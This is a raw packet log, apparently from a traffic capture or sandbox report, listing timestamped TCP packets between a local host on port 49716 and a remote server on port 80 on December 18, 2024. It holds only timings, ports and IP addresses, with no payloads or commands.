                                                        Dec 18, 2024 09:19:32.499742031 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.500639915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.500693083 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.500778913 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.501923084 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.501935005 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.501977921 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.502686024 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.502860069 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.502887011 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.503631115 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.503684998 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.503750086 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.504710913 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.504723072 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.504787922 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.505688906 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.505711079 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.505764961 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.506603956 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.506702900 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.506763935 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.507858992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.507870913 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.507956028 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.508738041 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.508836031 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.508904934 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.509689093 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.509778023 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.509807110 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.510843992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.510857105 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.510931969 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.511655092 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.511694908 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.511822939 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.512873888 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.512885094 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.512943983 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.513715029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.513794899 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.513863087 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.514823914 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.514837027 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.514913082 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.515736103 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.515832901 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.515861988 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.516808987 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.516861916 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.516900063 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.517663956 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.517716885 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.517762899 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.518779993 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.518829107 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.518846035 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.519855022 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.519959927 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.520015955 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.520884037 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.520896912 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.520934105 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.521734953 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.521806955 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.522063017 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.522778034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.522789955 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.522846937 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.523725033 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.523792982 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.523802042 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.524694920 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.524795055 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.524925947 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.525748014 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.525791883 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.525810957 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.526743889 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.526813984 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.526897907 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.527609110 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.527709007 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.666665077 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.666680098 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.666779041 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.667110920 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.667156935 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.667265892 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.668241978 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.668256044 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.668354988 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.669105053 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.669117928 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.669198990 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.670064926 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.670387030 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.670456886 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.671019077 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.671140909 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.671205997 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.672074080 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.672821045 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.672873974 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.673115015 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.673207998 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.673285007 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.674026012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.674125910 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.674196959 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.675184011 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.675195932 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.675259113 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.676038027 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.676245928 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.676296949 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.677105904 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.677184105 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.677232981 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.678128004 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.678139925 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.678204060 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.679092884 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.679105043 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.679160118 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.680061102 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.680128098 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.680239916 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.681075096 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.681186914 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.681246042 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.682230949 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.682243109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.682336092 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.683065891 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.683238029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.683279991 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.684047937 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.684140921 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.684206963 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.685072899 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.685123920 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.685188055 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.685945988 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.686161041 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.686264038 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.687302113 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.687321901 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.687395096 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.688046932 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.688060999 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.688113928 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.688977003 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.689104080 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.689250946 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.690037012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.690227985 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.690313101 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.690951109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.691133022 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.691226006 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.692053080 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.692066908 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.692153931 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.693311930 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.693324089 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.693412066 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.694010019 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.694183111 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.694269896 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.694999933 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.695111990 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.695208073 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.695947886 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.696078062 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.696132898 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.697171926 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.697185040 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.697273970 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.698031902 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.698153973 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.698204994 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.699105024 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.699117899 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.699199915 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.700170040 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.700184107 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.700253963 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.701050043 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.701165915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.701236963 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.702037096 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.702121019 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.702197075 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.703001022 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.703119040 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.703159094 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.703972101 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.704082012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.704153061 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.705025911 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.705111980 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.705159903 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.705995083 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.706130028 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.706183910 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.707004070 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.707195044 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.707250118 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.708041906 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.708257914 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.708312035 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.709060907 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.709117889 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.709367037 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.709985971 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.710149050 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.710235119 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.710984945 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.711178064 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.711273909 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.712104082 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.712116003 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.712194920 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.713165045 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.713176966 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.713252068 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.714051962 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.714504004 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.714555025 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.715015888 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.715167046 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.715254068 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.716058016 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.716126919 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.716238022 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.717037916 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.717262030 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.717314005 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.718482971 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.718496084 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.718570948 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.718993902 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.772099972 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.858254910 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.858275890 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.858289957 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.858335972 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.859236956 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.859251022 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.859338999 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.859635115 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.859973907 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.860701084 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.860713959 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.860800028 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.861370087 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.861386061 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.861536980 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.862276077 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.862349033 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.862433910 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.863214016 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.863353968 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.863486052 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.864337921 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.864352942 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.864434958 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.865394115 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.865406990 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.865463972 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.867273092 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.867290020 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.867348909 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.867372036 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.868347883 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.868360996 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.868374109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.868398905 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.868781090 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.871400118 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.871416092 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.871494055 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.873210907 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.873226881 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.873239040 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.873282909 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.873343945 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.873356104 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.873364925 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.873378992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.873420954 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.873420954 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.874121904 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.874166965 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.874284029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.874295950 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.874327898 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.875256062 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.875303984 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.875579119 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.876837969 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.876852036 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.876888037 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.887617111 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.887769938 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.887780905 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.887799025 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.887809038 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.887825012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.887835026 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.887840033 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.887963057 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.888072014 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888083935 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888094902 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888104916 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888144016 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.888144016 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.888148069 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888161898 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888173103 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888184071 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888195992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888206959 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.888206959 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.888681889 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888700962 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888711929 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888721943 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888732910 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888744116 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.888750076 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.888750076 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.888787031 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.888787031 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.889240980 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.889252901 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.889262915 CET8049716139.99.188.124192.168.2.7
